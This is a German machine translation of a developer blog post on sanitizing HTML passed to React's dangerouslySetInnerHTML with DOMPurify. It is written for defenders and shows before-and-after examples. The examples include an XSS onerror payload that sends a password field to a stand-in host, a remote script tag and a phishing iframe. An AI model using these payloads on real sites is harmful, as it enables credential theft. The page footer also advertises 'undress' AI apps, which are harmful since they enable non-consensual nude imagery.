


Reduzieren Sie XSS-Exploits, wenn Sie „Dangerously SetInnerHTML' von React verwenden
Titelbild von Lautaro Andreani
...
TL: DR; Das blendende Dumping von Inhalten in das gefährliche SetInnerHTML ist genau das – gefährlich. Stellen Sie sicher, dass Sie alle Eingaben bereinigen, die Sie gefährlich an SetInnerHTML übergeben, es sei denn, Sie haben explizite Kontrolle über die Eingabe.
Die folgende Komponente dient als einfaches Beispiel für die Minderung des Risikos eines XSS-Angriffs über das gefährliche SetInnerHTML:
//https://github.com/cure53/DOMPurify import React from "react"; import DOMPurify from "dompurify"; const sanitize = (dirty) => DOMPurify.sanitize(dirty); const DangerousHtml = ({ innerHTML, tag }) => { const clean = sanitize(innerHTML); if (typeof tag === "undefined") { return <div dangerouslySetInnerHTML={{ __html: clean }} />; } return <tag dangerouslySetInnerHTML={{ __html: clean }} />; }; export default DangerousHtml;
Durch die Verwendung unserer maßgeschneiderten DangerousHtml-Komponente können wir das Risiko eines XSS-Exploits drastisch reduzieren, da wir unsere Eingaben bereinigen, bevor sie die eigentlich gefährliche SetInnerHTML-Requisite erreichen
DOMPurify ist außerdem hochgradig konfigurierbar. Daher kann es sein, dass Sie mehrere Komponenten wie unser Beispiel benötigen, um bestimmte Anwendungsfälle zu behandeln, oder einige der folgenden Beispiele explizit zulassen möchten.
Im Folgenden finden Sie einige kurze Beispiele dafür, wie die Exploits stattfinden könnten:
Ausnutzung von iFrame- und Skript-Tags
XSS ist möglich, da React das Skript-Tag, das auf eine bösartige Nutzlast hinweist, nicht entfernt.
Wir sollten iFrames auch wirklich nicht auf diese Weise weitergeben. Vielmehr sollten wir die URL und alle anderen „sicheren“ Attribute als Requisiten übergeben und sie selbst in einem iFrame-Tag rendern, um die Kontrolle über ihre Rendering-Fähigkeiten und die Quelle zu behalten, oder über eine dedizierte iFrame-Komponente verfügen.
Bedenken Sie zum Beispiel das folgende bösartige Markup, das wir von einer API-Anfrage erhalten haben. Wenn wir es blind über dangerouslySetInnerHTML festlegen, geben wir dem Benutzer diese Ausgabe:
// Bad markup going in <div dangerouslySetInnerHTML={{ __html: `<p> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> </p>`, }} />
<!-- Bad markup rendered on the DOM --> <div> <p> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> </p> </div>
Die Verwendung unserer DangerousHTML-Komponente bedeutet jedoch, dass wir den größten Teil des Risikos, dem der Benutzer möglicherweise ausgesetzt war, gemindert haben:
// Bad markup going in <DangerousHtml innerHTML={`<p> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> </p>`} />
<!-- Clean markup rendered on the DOM --> <div> <p>Hi Fiona, here is the link to enter your bank details:</p> </div>
Fiona denkt vielleicht, dass die Website aus irgendeinem Grund kaputt ist oder dass Inhalte fehlen – aber das ist immer noch besser, als nach ihren Bankdaten ausgetrickst zu werden!
Attributmanipulation/Vergiftung
Einige DOM-Elemente haben spezielle Eigenschaften, die wir missbrauchen können und vor denen wir uns schützen sollten.
In diesem Beispiel können wir JS auf einem
Zum Beispiel Folgendes:
// Bad markup going in <div dangerouslySetInnerHTML={{ __html: ` <p> Hola <img src='none.png' onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' /> Sharon </p>`, }} />
<!-- Bad markup rendered on the DOM --> <div> <p> Hola <img src="none.png" onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' /> Sharon </p> </div>
In diesem Fall stiehlt unser vergiftetes Markup Daten aus dem DOM, wenn die Bildanforderung schließlich fehlschlägt und der Benutzer es nie erfahren wird.
Wir können dies mit unserer DangerousHtml-Komponente wieder abmildern
// Bad markup going in <DangerousHtml innerHTML={` <p> Hola <img src='none.png' onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' /> Sharon </p>`} />
<!-- Clean markup rendered on the DOM --> <div> <p> Hola <img src="none.png" /> Sharon </p> </div>
Angesichts des Arguments, dass wir möglicherweise wirklich etwas JS ausführen möchten, um ein Fallback-Bild anzuzeigen, sollten wir wiederum nicht darauf vertrauen, dass rohes, nicht bereinigtes HTML dies für uns erledigt, und wären besser bedient, wenn wir entweder eine fallbackImageURL oder eine onError-Requisite hätten kann explizit zu unserem Bild-Tag hinzufügen, etwa so:
// Usual imports const MyImageComponent = ({ fallbackUrl, url }) => { // Usual component setup const displayFallbackImage = (evt) => { // If there is no fallback, do nothing if (!fallbackUrl) return; // set the url to the fallbackUrl evt.target.src = fallbackUrl; }; return ( <img src={url} onerror={displayFallbackImage} // ... any other props /> ); };
...
Originalartikel: https://timbryan.dev/posts/react-xss-via-dangerouslySetInnerHtml
Das obige ist der detaillierte Inhalt vonReduzieren Sie XSS-Exploits, wenn Sie „Dangerously SetInnerHTML' von React verwenden. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

Video Face Swap
Tauschen Sie Gesichter in jedem Video mühelos mit unserem völlig kostenlosen KI-Gesichtstausch-Tool aus!

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen











Python eignet sich besser für Anfänger mit einer reibungslosen Lernkurve und einer kurzen Syntax. JavaScript ist für die Front-End-Entwicklung mit einer steilen Lernkurve und einer flexiblen Syntax geeignet. 1. Python-Syntax ist intuitiv und für die Entwicklung von Datenwissenschaften und Back-End-Entwicklung geeignet. 2. JavaScript ist flexibel und in Front-End- und serverseitiger Programmierung weit verbreitet.

Die Verschiebung von C/C zu JavaScript erfordert die Anpassung an dynamische Typisierung, Müllsammlung und asynchrone Programmierung. 1) C/C ist eine statisch typisierte Sprache, die eine manuelle Speicherverwaltung erfordert, während JavaScript dynamisch eingegeben und die Müllsammlung automatisch verarbeitet wird. 2) C/C muss in den Maschinencode kompiliert werden, während JavaScript eine interpretierte Sprache ist. 3) JavaScript führt Konzepte wie Verschlüsse, Prototypketten und Versprechen ein, die die Flexibilität und asynchrone Programmierfunktionen verbessern.

Zu den Hauptanwendungen von JavaScript in der Webentwicklung gehören die Interaktion der Clients, die Formüberprüfung und die asynchrone Kommunikation. 1) Dynamisches Inhaltsaktualisierung und Benutzerinteraktion durch DOM -Operationen; 2) Die Kundenüberprüfung erfolgt vor dem Einreichung von Daten, um die Benutzererfahrung zu verbessern. 3) Die Aktualisierung der Kommunikation mit dem Server wird durch AJAX -Technologie erreicht.

Die Anwendung von JavaScript in der realen Welt umfasst Front-End- und Back-End-Entwicklung. 1) Zeigen Sie Front-End-Anwendungen an, indem Sie eine TODO-Listanwendung erstellen, die DOM-Operationen und Ereignisverarbeitung umfasst. 2) Erstellen Sie RESTFUFFUPI über Node.js und express, um Back-End-Anwendungen zu demonstrieren.

Es ist für Entwickler wichtig, zu verstehen, wie die JavaScript -Engine intern funktioniert, da sie effizientere Code schreibt und Leistungs Engpässe und Optimierungsstrategien verstehen kann. 1) Der Workflow der Engine umfasst drei Phasen: Parsen, Kompilieren und Ausführung; 2) Während des Ausführungsprozesses führt die Engine dynamische Optimierung durch, wie z. B. Inline -Cache und versteckte Klassen. 3) Zu Best Practices gehören die Vermeidung globaler Variablen, die Optimierung von Schleifen, die Verwendung von const und lass und die Vermeidung übermäßiger Verwendung von Schließungen.

Python und JavaScript haben ihre eigenen Vor- und Nachteile in Bezug auf Gemeinschaft, Bibliotheken und Ressourcen. 1) Die Python-Community ist freundlich und für Anfänger geeignet, aber die Front-End-Entwicklungsressourcen sind nicht so reich wie JavaScript. 2) Python ist leistungsstark in Bibliotheken für Datenwissenschaft und maschinelles Lernen, während JavaScript in Bibliotheken und Front-End-Entwicklungsbibliotheken und Frameworks besser ist. 3) Beide haben reichhaltige Lernressourcen, aber Python eignet sich zum Beginn der offiziellen Dokumente, während JavaScript mit Mdnwebdocs besser ist. Die Wahl sollte auf Projektbedürfnissen und persönlichen Interessen beruhen.

Sowohl Python als auch JavaScripts Entscheidungen in Entwicklungsumgebungen sind wichtig. 1) Die Entwicklungsumgebung von Python umfasst Pycharm, Jupyternotebook und Anaconda, die für Datenwissenschaft und schnelles Prototyping geeignet sind. 2) Die Entwicklungsumgebung von JavaScript umfasst Node.JS, VSCODE und WebPack, die für die Entwicklung von Front-End- und Back-End-Entwicklung geeignet sind. Durch die Auswahl der richtigen Tools nach den Projektbedürfnissen kann die Entwicklung der Entwicklung und die Erfolgsquote der Projekte verbessert werden.

C und C spielen eine wichtige Rolle in der JavaScript -Engine, die hauptsächlich zur Implementierung von Dolmetschern und JIT -Compilern verwendet wird. 1) C wird verwendet, um JavaScript -Quellcode zu analysieren und einen abstrakten Syntaxbaum zu generieren. 2) C ist für die Generierung und Ausführung von Bytecode verantwortlich. 3) C implementiert den JIT-Compiler, optimiert und kompiliert Hot-Spot-Code zur Laufzeit und verbessert die Ausführungseffizienz von JavaScript erheblich.
